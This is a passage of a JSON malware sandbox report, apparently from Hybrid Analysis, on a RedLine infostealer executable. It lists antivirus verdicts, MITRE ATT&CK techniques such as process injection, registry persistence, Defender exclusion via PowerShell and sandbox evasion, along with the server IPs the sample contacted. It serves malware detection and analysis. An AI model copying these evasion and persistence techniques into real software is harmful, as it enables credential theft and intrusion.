XP32FDhHvannB0xJtjSl+MRKd+iSe6dqjgw00Bn0rNu/3Xm:2iXwUnP2ZhPi+McxSel2B8/H","ssdeep_chunks":["12288:2O6EZJL","12288:O6EZJLq","12288:6EZJLqT","12288:EZJLqTU","12288:ZJLqTUn","12288:JLqTUnX","12288:LqTUnXP","12288:qTUnXP3","12288:TUnXP32","12288:UnXP32F","12288:nXP32FD","12288:XP32FDh","12288:P32FDhH","12288:32FDhHv","12288:2FDhHva","12288:FDhHvan","12288:DhHvann","12288:hHvannB","12288:HvannB0","12288:vannB0x","12288:annB0xJ","12288:nnB0xJt","12288:nB0xJtj","12288:B0xJtjS","12288:0xJtjSl","12288:xJtjSl+","12288:JtjSl+M","12288:tjSl+MR","12288:jSl+MRK","12288:Sl+MRKd","12288:l+MRKd+","12288:+MRKd+i","12288:MRKd+iS","12288:RKd+iSe","12288:Kd+iSe6","12288:d+iSe6d","12288:+iSe6dq","12288:iSe6dqj","12288:Se6dqjg","12288:e6dqjgw","12288:6dqjgw0","12288:dqjgw00","12288:qjgw00B","12288:jgw00Bn","12288:gw00Bn0","12288:w00Bn0r","12288:00Bn0rN","12288:0Bn0rNu","12288:Bn0rNu/","12288:n0rNu/3","12288:0rNu/3X","12288:rNu/3Xm","24576:2O6EZJL","24576:O6EZJLq","24576:6EZJLqT","24576:EZJLqTU","24576:ZJLqTUn","24576:JLqTUnX","24576:LqTUnXP","24576:qTUnXP3","24576:TUnXP32","24576:UnXP32F","24576:nXP32FD","24576:XP32FDh","24576:P32FDhH","24576:32FDhHv","24576:2FDhHva","24576:FDhHvan","24576:DhHvann","24576:hHvannB","24576:HvannB0","24576:vannB0x","24576:annB0xJ","24576:nnB0xJt","24576:nB0xJtj","24576:B0xJtjS","24576:0xJtjSl","24576:xJtjSl+","24576:JtjSl+M","24576:tjSl+MR","24576:jSl+MRK","24576:Sl+MRKd","24576:l+MRKd+","24576:+MRKd+i","24576:MRKd+iS","24576:RKd+iSe","24576:Kd+iSe6","24576:d+iSe6d","24576:+iSe6dq","24576:iSe6dqj","24576:Se6dqjg","24576:e6dqjgw","24576:6dqjgw0","24576:dqjgw00","24576:qjgw00B","24576:jgw00Bn","24576:gw00Bn0","24576:w00Bn0r","24576:00Bn0rN","24576:0Bn0rNu","24576:Bn0rNu/","24576:n0rNu/3","24576:0rNu/3X","24576:rNu/3Xm","12288:2iXwUnP","12288:iXwUnP2","12288:XwUnP2Z","12288:wUnP2Zh","12288:UnP2ZhP","12288:nP2ZhPi","12288:P2ZhPi+","12288:2ZhPi+M","12288:ZhPi+Mc","12288:hPi+Mcx","12288:Pi+McxS","12288:i+McxSe","12288:+McxSel","12288:McxSel2","12288:cxSel2B","12288:xSel2B8","12288:Sel2B8/","12288:el2B8/H"],"imphash":"1e80af93b195fb557b35f70c8d199fe4"},"file_info":{"file_name":"file.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":814080,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1675533197000,"last_seen":1677186818000,"last_multi_scan":1677186818000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["backdoor","commodity","informationstealer","redlinestealer"]},"stats":{"av":{"malicious_count":12,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":30},"sandbox_signatures":{"informative_count":63,"suspicious_count":20,"malicious_count":7,"total":90},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/RedLine.ynghy","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.65333243","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"malicious","threat_name":"W32/ABRisk.EJZE-1253","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.65333243 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Agent.AFEM.gen trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Riskware ( 0040eff71 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan-PSW.MSIL.Reline.sck","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"RDN/Generic.dx","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"BScope.TrojanPSW.MSIL.Reline","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Reline.Win32.7300","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Imports GetCommandLine API"},{"type":"informative","value":"Dotnet source code contains suspicious native API"},{"type":"informative","value":"Contains ability to dynamically determine API calls"},{"type":"informative","value":"Found Native API in Dotnet file"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Contains ability to modify processes thread functionality (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"suspicious","value":"Contains ability to retrieve the command-line string for the current process"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"suspicious","value":"Executes powershell with commandline"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"informative","value":"Contains ability to execute WMI queries"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"suspicious","value":"Uses powershell to execute new process"},{"type":"suspicious","value":"Contains ability to retrieve the contents of the STARTUPINFO structure"},{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Defense Evasion","technique":"Impair Defenses","attack_id":"T1562","attack_id_wiki":"https://attack.mitre.org/techniques/T1562","identifiers":[{"type":"informative","value":"Uses powershell with a add-mppreference commandline param"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to load content into memory"},{"type":"informative","value":"Contains ability to decode string content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Contains ability to detect sandbox (mouse cursor movement)"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file has unusual entropy sections"},{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"malicious","value":"Hooks internet related APIs"},{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve a module handle for the specified module"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"suspicious","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to gather system environment details"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Contains ability to gather system information"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Contains registry location strings"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Accesses Software Policy Settings"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to gather process details"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"malicious","value":"Tries to identify its external IP address"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screenshot"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Calls an API typically used to retrieve the URL data"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Contains ability to perform crypto operations"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"malicious","value":"Uses network protocols on unusual ports"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Contains ability to provide interface for network protocols"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load content into memory","description":"Observed function memorystream in gona_1_.exe\n Observed function memorystream in trebo_1_.exe\n Observed function memorystream in ringo_1_.exe","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-107","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Observed api string:\"UnhandledExceptionFilter\" [Source: b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin]\n Observed api string:\"SetUnhandledExceptionFilter\" [Source: b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin]","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003344-60560-14-00A1BA06\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00003344-60560-2-00A1B771\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00006212-1761-14-00A1BA06\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00006212-1761-2-00A1B771","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \".text\" is zero\n Raw size of \".data\" is zero\n Raw size of \".rdata\" is zero\n Raw size of \".eh_fram\" is zero\n Raw size of \".bss\" is zero\n Raw size of \".idata\" is zero\n Raw size of \".CRT\" is zero\n Raw size of \".tls\" is zero\n Raw size of \".N4'\" is zero","origin":"Static Parser","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode string content at runtime","description":"Observed function replace in gona_1_.exe\n Observed function tostring in gona_1_.exe\n Observed function concat in gona_1_.exe\n Observed function frombase64chararray in gona_1_.exe\n Observed function split in gona_1_.exe\n Observed function join in gona_1_.exe\n Observed function reverse in gona_1_.exe","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-106","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"file.exe\" called \"RtlGetNtProductType\" with parameter (UID: 00000000-00003344)\n \"file.exe\" called \"RtlGetNtProductType\" (UID: 00000000-00003344)\n \"powershell.exe\" called \"RtlGetNtProductType\" (UID: 00000000-00007332)\n \"powershell.exe\" called \"RtlGetNtProductType\" with parameter (UID: 00000000-00007332)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"\"file.exe\" called \"RtlGetVersion\" with parameter (UID: 00000000-00003344)\n \"file.exe\" called \"RtlGetVersion\" with parameter (UID: 00000000-00003344)\n \"file.exe\" called \"RtlGetVersion\" (UID: 00000000-00003344)\n \"powershell.exe\" called \"RtlGetVersion\" with parameter (UID: 00000000-00007332)\n \"powershell.exe\" called \"RtlGetVersion\" with parameter (UID: 00000000-00007332)\n \"file.exe\" called \"RtlGetVersion\" with parameter (UID: 00000000-00006212)\n \"file.exe\" called \"RtlGetVersion\" with parameter (UID: 00000000-00006212)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute WMI queries","description":"Observed namespace system.management.managementobjectsearcher in gona_1_.exe\n Observed namespace system.management.managementobjectsearcher in trebo_1_.exe\n Observed namespace system.management.managementobjectsearcher in ringo_1_.exe","origin":"Static Parser","mitre_attack_id":"T1047","relevance":1,"id":"static-114","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to gather system environment details","description":"Observed function expandenvironmentvariables in gona_1_.exe\n Observed function expandenvironmentvariables in trebo_1_.exe\n Observed function expandenvironmentvariables in ringo_1_.exe","origin":"Static Parser","mitre_attack_id":"T1082","relevance":1,"id":"static-119","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to gather system information","description":"Observed function get_systemdirectory in gona_1_.exe\n Observed function get_username in gona_1_.exe\n Observed function getlogicaldrives in gona_1_.exe\n Observed function get_is64bitoperatingsystem in gona_1_.exe\n Observed function get_systemdirectory in trebo_1_.exe\n Observed function get_username in trebo_1_.exe\n Observed function getlogicaldrives in trebo_1_.exe\n Observed function get_is64bitoperatingsystem in trebo_1_.exe\n Observed function get_systemdirectory in ringo_1_.exe\n Observed function get_username in ringo_1_.exe\n Observed function getlogicaldrives in ringo_1_.exe\n Observed function get_is64bitoperatingsystem in ringo_1_.exe","origin":"Static Parser","mitre_attack_id":"T1082","relevance":1,"id":"static-120","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExA@KERNEL32.dll at 4306-1-0040531D","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"file.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"file.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Observed API string:\"GetStartupInfo\" [Source: b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1.bin]","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"file.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"file.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$27","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$28","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"An application crash occurred","description":"Report process \"WerFault.exe\" was created by \"powershell.exe\"","origin":"Monitored Target","id":"target-2","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"208.95.112.1:49725\"\n \"185.105.88.137:49726\"\n \"62.204.41.248:49727\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: ringo1_1_.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: trebo1_1_.exe)","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryExW@KERNEL32.DLL at 00000000-00003344-60560-11-00A3C445\n LoadLibraryExW@KERNEL32.DLL at 00000000-00006212-1761-11-00A3C445","origin":"Hybrid Analysis 